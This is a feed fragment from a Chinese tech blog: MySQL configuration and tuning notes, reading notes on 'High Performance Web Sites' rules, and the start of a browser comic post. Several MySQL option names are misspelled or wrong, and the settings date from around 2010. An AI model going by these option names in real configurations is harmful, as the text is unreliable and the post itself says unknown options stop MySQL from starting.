如果配置得当，从属服务器不应该在执行SQL命令时发生错误(在主控服务器上执行出错的SQL命令不会被发送到从属服务器上做镜像处理); 如果不使用<br />
slave-skip-errors选项，从属服务器上的镜像工作就可能国为发生错误而中断，中断后需要有人工参与才能继续进行。<br />
mysqld&#8211;InnoDB&#8211;基本设置、表空间文件<br />
skip-innodb 不加载InnoDB数据表驱动程序&#8211;如果用不着InnoDB数据表，可以用这个选项节省一些内存。<br />
innodb-file-per-table 为每一个新数据表创建一个表空间文件而不是把数据表都集中保存在中央表空间里(后者是默认设置)。该选项始见于MySQL 4.1。<br />
innodb-open-file = n InnoDB数据表驱动程序最多可以同时打开的文件数(默认设置是300)。如果使用了innodb-file-per-table选项并且需要同时打开很多数据表的话，这个数字很可能需要加大。<br />
innodb_data_home_dir = p InnoDB主目录，所有与InnoDB数据表有关的目录或文件路径都相对于这个路径。在默认的情况下，这个主目录就是MySQL的数据目录。<br />
innodb_data_file_path = ts 用来容纳InnoDB为数据表的表空间: 可能涉及一个以上的文件; 每一个表空间文件的最大长度都必须以字节(B)、兆字节(MB)或千兆字节(GB)为单位给出; 表空间文件的名字必须以分号隔开; 最后一个表空间文件还可以带一个autoextend属性和一个最大长度(max:n)。<br />
例如，ibdata1:1G; ibdata2:1G:autoextend:max:2G的意思是: 表空间文件ibdata1的最大长度是1GB，ibdata2的最大长度也是1G，但允许它扩充到2GB。<br />
除文件名外，还可以用硬盘分区的设置名来定义表空间，此时必须给表空间的最大初始长度值加上newraw关键字做后缀，给表空间的最大扩充长度值加上raw关键字做后缀(例如/dev/hdb1:20Gnewraw或/dev/hdb1:20Graw); MySQL 4.0及更高版本的默认设置是ibdata1:10M:autoextend。<br />
innodb_autoextend_increment = n 带有autoextend属性的表空间文件每次加大多少兆字节(默认设置是8MB)。这个属性不涉及具体的数据表文件，那些文件的增大速度相对是比较小的。<br />
innodb_lock_wait_timeout = n 如果某个事务在等待n秒(s)后还没有获得所需要的资源，就使用ROLLBACK命令放弃这个事务。这项设置对于发现和处理未能被InnoDB数据表驱动程序识别出来的死锁条件有着重要的意义。这个选项的默认设置是50s。<br />
innodb_fast_shutdown 0/1 是否以最快的速度关闭InnoDB，默认设置是1，意思是不把缓存在INSERT缓存区的数据写入数据表，那些数据将在MySQL服务器下次启动时再写入(这么做没有什么风险，因为INSERT缓存区是表空间的一个组成部分，数据不会丢失)。把这个选项设置为0反面危险，因为在计算机关闭时，InnoDB驱动程序很可能没有足够的时间完成它的数据同步工作，操作系统也许会在它完成数据同步工作之前强行结束InnoDB，而这会导致数据不完整。<br />
mysqld程序&#8211;InnoDB&#8211;日志<br />
innodb_log_group_home_dir = p 用来存放InnoDB日志文件的目录路径(如ib_logfile0、ib_logfile1等)。在默认的情况下，InnoDB驱动程序将使用MySQL数据目录作为自己保存日志文件的位置。<br />
innodb_log_files_in_group = n 使用多少个日志文件(默认设置是2)。InnoDB数据表驱动程序将以轮转方式依次填写这些文件; 当所有的日志文件都写满以后，之后的日志信息将写入第一个日志文件的最大长度(默认设置是5MB)。这个长度必须以MB(兆字节)或GB(千兆字节)为单位进行设置。<br />
innodb_flush_log_at_trx_commit = 0/1/2 这个选项决定着什么时候把日志信息写入日志文件以及什么时候把这些文件物理地写(术语称为”同步”)到硬盘上。设置值0的意思是每隔一秒写一次日志并进行同步，这可以减少硬盘写操作次数，但可能造成数据丢失; 设置值1(设置设置)的意思是在每执行完一条COMMIT命令就写一次日志并进行同步，这可以防止数据丢失，但硬盘写操作可能会很频繁; 设置值2是一般折衷的办法，即每执行完一条COMMIT命令写一次日志，每隔一秒进行一次同步。<br />
innodb_flush_method = x InnoDB日志文件的同步办法(仅适用于UNIX/Linux系统)。这个选项的可取值有两种: fdatasync，用fsync()函数进行同步; O_DSYNC，用O_SYNC()函数进行同步。<br />
innodb_log_archive = 1 启用InnoDB驱动程序的archive(档案)日志功能，把日志信息写入ib_arch_log_n文件。启用这种日志功能在InnoDB与MySQL一起使用时没有多大意义(启用MySQL服务器的二进制日志功能就足够用了)。<br />
mysqld程序&#8211;InnoDB&#8211;缓存区的设置和优化<br />
innodb_log_buffer_pool_size = n 为InnoDB数据表及其索引而保留的RAM内存量(默认设置是8MB)。这个参数对速度有着相当大的影响，如果计算机上只运行有MySQL/InnoDB数据库服务器，就应该把全部内存的80%用于这个用途。<br />
innodb_log_buffer_size = n 事务日志文件写操作缓存区的最大长度(默认设置是1MB)。<br />
innodb_additional_men_pool_size = n 为用于内部管理的各种数据结构分配的缓存区最大长度(默认设置是1MB)。<br />
innodb_file_io_threads = n I/O操作(硬盘写操作)的最大线程个数(默认设置是4)。<br />
innodb_thread_concurrency = n InnoDB驱动程序能够同时使用的最大线程个数(默认设置是8)。<br />
mysqld程序&#8211;其它选项</p>
<p>bind-address = ipaddr MySQL服务器的IP地址。如果MySQL服务器所在的计算机有多个IP地址，这个选项将非常重要。<br />
default-storage-engine = type 新数据表的默认数据表类型(默认设置是MyISAM)。这项设置还可以通过&#8211;default-table-type选项来设置。<br />
default-timezone = name 为MySQL服务器设置一个地理时区(如果它与本地计算机的地理时区不一样)。<br />
ft_min_word_len = n 全文索引的最小单词长度工。这个选项的默认设置是4，意思是在创建全文索引时不考虑那些由3个或更少的字符构建单词。<br />
Max-allowed-packet = n 客户与服务器之间交换的数据包的最大长度，这个数字至少应该大于客户程序将要处理的最大BLOB块的长度。这个选项的默认设置是1MB。<br />
Sql-mode = model1, mode2, &#8230; MySQL将运行在哪一种SQL模式下。这个选项的作用是让MySQL与其他的数据库系统保持最大程度的兼容。这个选项的可取值包括ansi、db2、oracle、no_zero_date、pipes_as_concat。<br />
注意：如果在配置文件里给出的某个选项是mysqld无法识别的(如，因为犯了一个愚蠢的打字错误)，MySQL服务器将不启动。</p>
<div>
<p>MySQL的系统变量以调优性能</p>
<p>(1)、back_log：<br />
要求 MySQL 能有的连接数量。当主要MySQL线程在一个很短时间内得到非常多的连接请求，这就起作用，然后主线程花些时间(尽管很短)检查连接并且启动一个新线程。<br />
back_log值指出在MySQL暂时停止回答新请求之前的短时间内多少个请求可以被存在堆栈中。只有如果期望在一个短时间内有很多连接，你需要增加它，换句话说，这值对到来的TCP/IP连接的侦听队列的大小。你的操作系统在这个队列大小上有它自己的限制。 试图设定back_log高于你的操作系统的限制将是无效的。<br />
当你观察你的主机进程列表，发现大量 264084 | unauthenticated user | xxx.xxx.xxx.xxx | NULL | Connect | NULL | login | NULL 的待连接进程时，就要加大 back_log 的值了。默认数值是50，我把它改为500。</p>
<p>(2)、interactive_timeout：<br />
服务器在关闭它前在一个交互连接上等待行动的秒数。一个交互的客户被定义为对 mysql_real_connect()使用 CLIENT_INTERACTIVE 选项的客户。 默认数值是28800，我把它改为7200。</p>
<p>(3)、key_buffer_size：<br />
索引块是缓冲的并且被所有的线程共享。key_buffer_size是用于索引块的缓冲区大小，增加它可得到更好处理的索引(对所有读和多重写)，到你能负担得起那样多。如果你使它太大，系统将开始换页并且真的变慢了。默认数值是8388600(8M)，我的MySQL主机有2GB内存，所以我把它改为 402649088(400MB)。</p>
<p>(4)、max_connections：<br />
允许的同时客户的数量。增加该值增加 mysqld 要求的文件描述符的数量。这个数字应该增加，否则，你将经常看到 Too many connections 错误。 默认数值是100，我把它改为1024 。</p>
<p>(5)、record_buffer：<br />
每个进行一个顺序扫描的线程为其扫描的每张表分配这个大小的一个缓冲区。如果你做很多顺序扫描，你可能想要增加该值。默认数值是131072(128K)，我把它改为16773120 (16M)</p>
<p>(6)、sort_buffer：<br />
每个需要进行排序的线程分配该大小的一个缓冲区。增加这值加速ORDER BY或GROUP BY操作。默认数值是2097144(2M)，我把它改为 16777208 (16M)。</p>
<p>(7)、table_cache：<br />
为所有线程打开表的数量。增加该值能增加mysqld要求的文件描述符的数量。MySQL对每个唯一打开的表需要2个文件描述符。默认数值是64，我把它改为512。</p>
<p>(8)、thread_cache_size：<br />
可以复用的保存在中的线程的数量。如果有，新的线程从缓存中取得，当断开连接的时候如果有空间，客户的线置在缓存中。如果有很多新的线程，为了提高性能可以这个变量值。通过比较 Connections 和 Threads_created 状态的变量，可以看到这个变量的作用。我把它设置为 80。</p>
<p>(10)、wait_timeout：<br />
服务器在关闭它之前在一个连接上等待行动的秒数。 默认数值是28800，我把它改为7200。</p>
<p>注：参数的调整可以通过修改 /etc/my.cnf 文件并重启 MySQL 实现。这是一个比较谨慎的工作，上面的结果也仅仅是我的一些看法，你可以根据你自己主机的硬件情况（特别是内存大小）进一步修改。</p>
<div>
<p>MySQL 的max_allowed_packet保护导致MySQL Server 不断的启停</p>
<p>那到底是什么原因造成MySQL死掉又启来呢？</p>
<p>如果MySQL能够正常自动启动，那访问这个页面对MySQL的影响是数据库系统可以自动识别出来的，出于一种自动保护的原因，它才会shutdown MySQL.</p>
<p>基于以上的原因，开始查找资料，看都有在哪些情况下MySQL会自动shutdown后又立即startup的。<br />
  <br />
首先想到的是buffer(read,sort,temp etc.)不足，那么修改配置文件，把它们都增大一倍后重启MySQL，还是同样的会死掉。</p>
<p>接下来想到的就是可能请求的连接包过大，检查配置文件，其中并没有max_allowed_packet声明。在配置文件中，设置max_allowed_packet=2M后，重新启动MySQL，问题解决！</p>
<p>呵呵，看来mysql的配置文件中还有很多内容可挖的哟，以后得多多注意了。</p>
</div>
</div>
</div>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (1)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E9%9A%8F%E6%9C%BA%E6%95%B0%E6%9C%89%E5%A4%9A%E9%9A%8F%E6%9C%BA%EF%BC%9F.html" title="随机数有多随机？">随机数有多随机？</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/cache" title="cache" rel="tag">cache</a>, <a href="http://www.5bay.cn/tag/div" title="div" rel="tag">div</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/mod" title="mod" rel="tag">mod</a>, <a href="http://www.5bay.cn/tag/mysql" title="mysql" rel="tag">mysql</a>, <a href="http://www.5bay.cn/tag/path" title="path" rel="tag">path</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/session" title="session" rel="tag">session</a>, <a href="http://www.5bay.cn/tag/sql" title="sql" rel="tag">sql</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%85%BC%E5%AE%B9" title="兼容" rel="tag">兼容</a>, <a href="http://www.5bay.cn/tag/%E5%87%BD%E6%95%B0" title="函数" rel="tag">函数</a>, <a href="http://www.5bay.cn/tag/%E5%90%AB%E4%B9%89" title="含义" rel="tag">含义</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E5%B1%9E%E6%80%A7" title="属性" rel="tag">属性</a>, <a href="http://www.5bay.cn/tag/%E5%BC%95%E5%85%A5" title="引入" rel="tag">引入</a>, <a href="http://www.5bay.cn/tag/%E6%88%90%E5%8A%9F" title="成功" rel="tag">成功</a>, <a href="http://www.5bay.cn/tag/%E6%90%9C%E7%B4%A2" title="搜索" rel="tag">搜索</a>, <a href="http://www.5bay.cn/tag/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F" title="操作系统" rel="tag">操作系统</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%9C%80%E5%BF%AB" title="最快" rel="tag">最快</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%89%88%E6%9C%AC" title="版本" rel="tag">版本</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/%E8%A1%A8" title="表" rel="tag">表</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3" title="解决" rel="tag">解决</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a>, <a href="http://www.5bay.cn/tag/%E9%95%9C%E5%83%8F" title="镜像" rel="tag">镜像</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>《高性能网站建设指南》读书笔记</title>
		<link>http://www.5bay.cn/server-building/gaoxingnengwangzhanjianshezhinandushubiji.html</link>
		<comments>http://www.5bay.cn/server-building/gaoxingnengwangzhanjianshezhinandushubiji.html#comments</comments>
		<pubDate>Sat, 22 May 2010 21:06:26 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[flash]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[中国特色]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[图片]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[更新]]></category>
		<category><![CDATA[浏览器]]></category>
		<category><![CDATA[组件]]></category>
		<category><![CDATA[网站]]></category>
		<category><![CDATA[表]]></category>
		<category><![CDATA[解决]]></category>
		<category><![CDATA[设计]]></category>
		<category><![CDATA[重定向]]></category>
		<category><![CDATA[页面]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=346</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/gaoxingnengwangzhanjianshezhinandushubiji.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>规则1，减少HTTP请求 这是最重要的原则，如果14条规则里只能选一条，那就是它了。可以通过多种方法减少HTTP请求，例如合并图片，合并JS和CSS等等。这一点薄荷网有很多改进的余地，首先应该把现在的JS合并了。 规则2，使用内容发布网络 内容发布网络就是CDN了，但是CDN似乎挺贵的，目前还不适合薄荷网，不过可以考虑自己弄一个网通的静态资源服务器解决有中国特色的可恶的南北互通问题。 规则3，添加Expires头 这个没什么好说的，是个建网站的人都应该知道。目前薄荷网图片,css,js,flash过期时间设置了3年，可以说是永久了，：） Expires有个麻烦的地方是内容更新问题，Ruby on Rails这方面处理的非常棒，它是在文件名后面自动带了 资源文件的timestamp，完美解决。 规则4，压缩组件 这个也没什么好说的，配置一下web server的压缩功能，减少服务器带宽，加快响应，立杆见影。 规则5，将样式表放在顶部 这条有点新鲜，虽然平常都是这么做的，但是没有想过不这样做有什么麻烦。如果不这样，浏览器是不能做到边下载边显示，用户体验很糟糕。薄荷网现在有部分样式没放在顶部，回头检查测试一下看看。 规则6，将脚本放在底部 这条是第一次听说，有些震惊。原因在于浏览器下载执行脚本的时候，会阻塞其他资源的下载，这样导致整体响应时间变长。薄荷网的脚本几乎都是放在顶部的，回头测试比较下看看。 规则7，避免CSS表达式 CSS表达是简直像个Bug，可以弃用，寻求变通的解决方便，比如事件处理器等。 规则8，使用外部的JavaScript和CSS 相信大家大部分情形下都是使用外联的，但纯粹的处理而已，内联JS和CSS似乎更快，考虑到缓存和复用，大部分情况显然是外联更划算。因此，在一些情景，例如首页，还是可以使用内联的。 规则9，减少DNS查找 DNS耗费的时间是相当可观的，因此同一页面的域名数量最好控制在2~4之间。 规则10，精简JavaScript 精简JavaScript可以显著减少Js文件的大小，减少下载时间。 规则11，避免重定向 get的重定向可以通过web server的url rewrite很好解决。 规则12，移除重复脚本 重复的脚本既增加一次http请求，又要重复执行，当然坚决移除了。 规则13，配置ETag 目前web server的ETag实现不但起不到好的效果，通常还使性能变得更差，真是一个糟糕的设计。 所以静态资源尽量去除ETag配置。但是对于刷新频率不高的Rails动态页面，这个似乎是个不错的大幅 加快响应的方法，值得再深入好好研究一番。 规则14，使Ajax可缓存 就是使用之前的规则应用于Ajax请求，：） 相关博文2010年07月26日 -- 使用Ajax时的十个常犯的错误 (0)2010年05月23日 -- nginx的rewrite规则 (1)2010年07月26日 -- AJAX应用程序开发七宗罪 (0)2010年07月26日 -- AJAX的各种控件和类库 (0)2010年07月26日 -- ajax的缺点 (0)2010年07月26日 -- [...]]]></description>
			<content:encoded><![CDATA[<p><strong>规则1，减少HTTP请求</strong></p>
<p>这是最重要的原则，如果14条规则里只能选一条，那就是它了。可以通过多种方法减少HTTP请求，例如合并图片，合并JS和CSS等等。这一点薄荷网有很多改进的余地，首先应该把现在的JS合并了。</p>
<p><strong>规则2，使用内容发布网络</strong></p>
<p>内容发布网络就是CDN了，但是CDN似乎挺贵的，目前还不适合薄荷网，不过可以考虑自己弄一个网通的静态资源服务器解决有中国特色的可恶的南北互通问题。</p>
<p><strong>规则3，添加Expires头</strong></p>
<p>这个没什么好说的，是个建网站的人都应该知道。目前薄荷网图片,<a href="http://www.5bay.cn/tag/css" class="st_tag internal_tag" rel="tag" title="标签 css 下的日志">css</a>,js,flash过期时间设置了3年，可以说是永久了，：） Expires有个麻烦的地方是内容更新问题，Ruby on Rails这方面处理的非常棒，它是在文件名后面自动带了</p>
<p>资源文件的timestamp，完美解决。<span id="more-346"></span></p>
<p><strong>规则4，压缩组件</strong></p>
<p>这个也没什么好说的，配置一下web server的压缩功能，减少服务器带宽，加快响应，立杆见影。</p>
<p><strong>规则5，将样式表放在顶部</strong></p>
<p>这条有点新鲜，虽然平常都是这么做的，但是没有想过不这样做有什么麻烦。如果不这样，浏览器是不能做到边下载边显示，用户体验很糟糕。薄荷网现在有部分样式没放在顶部，回头检查测试一下看看。</p>
<p><strong>规则6，将脚本放在底部</strong></p>
<p>这条是第一次听说，有些震惊。原因在于浏览器下载执行脚本的时候，会阻塞其他资源的下载，这样导致整体响应时间变长。薄荷网的脚本几乎都是放在顶部的，回头测试比较下看看。</p>
<p><strong>规则7，避免CSS表达式</strong></p>
<p>CSS表达是简直像个Bug，可以弃用，寻求变通的解决方便，比如事件处理器等。</p>
<p><strong>规则8，使用外部的JavaScript和CSS</strong></p>
<p>相信大家大部分情形下都是使用外联的，但纯粹的处理而已，内联JS和CSS似乎更快，考虑到缓存和复用，大部分情况显然是外联更划算。因此，在一些情景，例如首页，还是可以使用内联的。</p>
<p><strong>规则9，减少DNS查找</strong></p>
<p>DNS耗费的时间是相当可观的，因此同一页面的域名数量最好控制在2~4之间。</p>
<p><strong>规则10，精简JavaScript</strong></p>
<p>精简JavaScript可以显著减少Js文件的大小，减少下载时间。</p>
<p><strong>规则11，避免重定向</strong></p>
<p>get的重定向可以通过web server的url rewrite很好解决。</p>
<p><strong>规则12，移除重复脚本</strong></p>
<p>重复的脚本既增加一次http请求，又要重复执行，当然坚决移除了。</p>
<p><strong>规则13，配置ETag</strong></p>
<p>目前web server的ETag实现不但起不到好的效果，通常还使性能变得更差，真是一个糟糕的设计。</p>
<p>所以静态资源尽量去除ETag配置。但是对于刷新频率不高的Rails动态页面，这个似乎是个不错的大幅</p>
<p>加快响应的方法，值得再深入好好研究一番。</p>
<p><strong>规则14，使Ajax可缓存</strong></p>
<p>就是使用之前的规则应用于Ajax请求，：）</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html" title="AJAX应用程序开发七宗罪">AJAX应用程序开发七宗罪</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeieeeeeting.html" title="AJAX初学:IE缓存页面的问题">AJAX初学:IE缓存页面的问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (1)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/ajax" title="ajax" rel="tag">ajax</a>, <a href="http://www.5bay.cn/tag/css" title="css" rel="tag">css</a>, <a href="http://www.5bay.cn/tag/flash" title="flash" rel="tag">flash</a>, <a href="http://www.5bay.cn/tag/javascript" title="javascript" rel="tag">javascript</a>, <a href="http://www.5bay.cn/tag/js" title="js" rel="tag">js</a>, <a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/url" title="url" rel="tag">url</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/%E4%B8%AD%E5%9B%BD%E7%89%B9%E8%89%B2" title="中国特色" rel="tag">中国特色</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E5%9B%BE%E7%89%87" title="图片" rel="tag">图片</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E6%9B%B4%E6%96%B0" title="更新" rel="tag">更新</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E6%B5%8F%E8%A7%88%E5%99%A8" title="浏览器" rel="tag">浏览器</a>, <a href="http://www.5bay.cn/tag/%E7%BB%84%E4%BB%B6" title="组件" rel="tag">组件</a>, <a href="http://www.5bay.cn/tag/%E7%BD%91%E7%AB%99" title="网站" rel="tag">网站</a>, <a href="http://www.5bay.cn/tag/%E8%A1%A8" title="表" rel="tag">表</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3" title="解决" rel="tag">解决</a>, <a href="http://www.5bay.cn/tag/%E8%AE%BE%E8%AE%A1" title="设计" rel="tag">设计</a>, <a href="http://www.5bay.cn/tag/%E9%87%8D%E5%AE%9A%E5%90%91" title="重定向" rel="tag">重定向</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/gaoxingnengwangzhanjianshezhinandushubiji.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>搞笑漫画图解几大浏览器的区别</title>
		<link>http://www.5bay.cn/website/gaoxiaomanhuatujiejidalanqidequbie.html</link>
		<comments>http://www.5bay.cn/website/gaoxiaomanhuatujiejidalanqidequbie.html#comments</comments>
		<pubDate>Sat, 22 May 2010 21:04:16 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[网站建设]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[区别]]></category>
		<category><![CDATA[搞笑]]></category>
		<category><![CDATA[浏览器]]></category>
		<category><![CDATA[说明]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=343</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/website/gaoxiaomanhuatujiejidalanqidequbie.html"><img align="left" hspace="5" width="150" src="http://news.csdn.net/a//uploads/2010/03/18/20100318-141921-pic1.jpg" class="alignleft wp-post-image tfe" alt="" title="" /></a>nternet Explorer, Firefox, Google Chrome, Opera 和 Safari之间的到底有啥区别，下面这几幅搞笑漫画或许能说明什么 Internet Explorer：没什么用，偶尔还真能派上用场 Firefox：坦白地说它面面俱到，但那些傻了吧唧的插件快把它搞的没法用了 Safari：非常的高效，但那些使用Safari的人总对其质量夸大其词 Chrome：就是一个快字 Opera：有些人非常喜欢，但大多数人认为Opera很2 相关博文2010年07月26日 -- AJAX应用程序开发七宗罪 (0)2010年07月26日 -- AJAX的各种控件和类库 (0)2010年07月26日 -- ajax的缺点 (0)2011年06月29日 -- Android在线开发工具 App Inventor (0)2010年07月26日 -- PHP和Socket简介 (0)2010年07月26日 -- php的文档句法(heredoc)]]></description>
			<content:encoded><![CDATA[<p>nternet Explorer, <a href="http://www.5bay.cn/tag/firefox" class="st_tag internal_tag" rel="tag" title="标签 firefox 下的日志">Firefox</a>, <a href="http://www.5bay.cn/tag/google" class="st_tag internal_tag" rel="tag" title="标签 google 下的日志">Google</a> Chrome, Opera 和 Safari之间的到底有啥区别，下面这几幅搞笑漫画或许能说明什么</p>
<p><img src="http://news.csdn.net/a//uploads/2010/03/18/20100318-141921-pic1.jpg" alt="" /></p>
<p>Internet Explorer：没什么用，偶尔还真能派上用场</p>
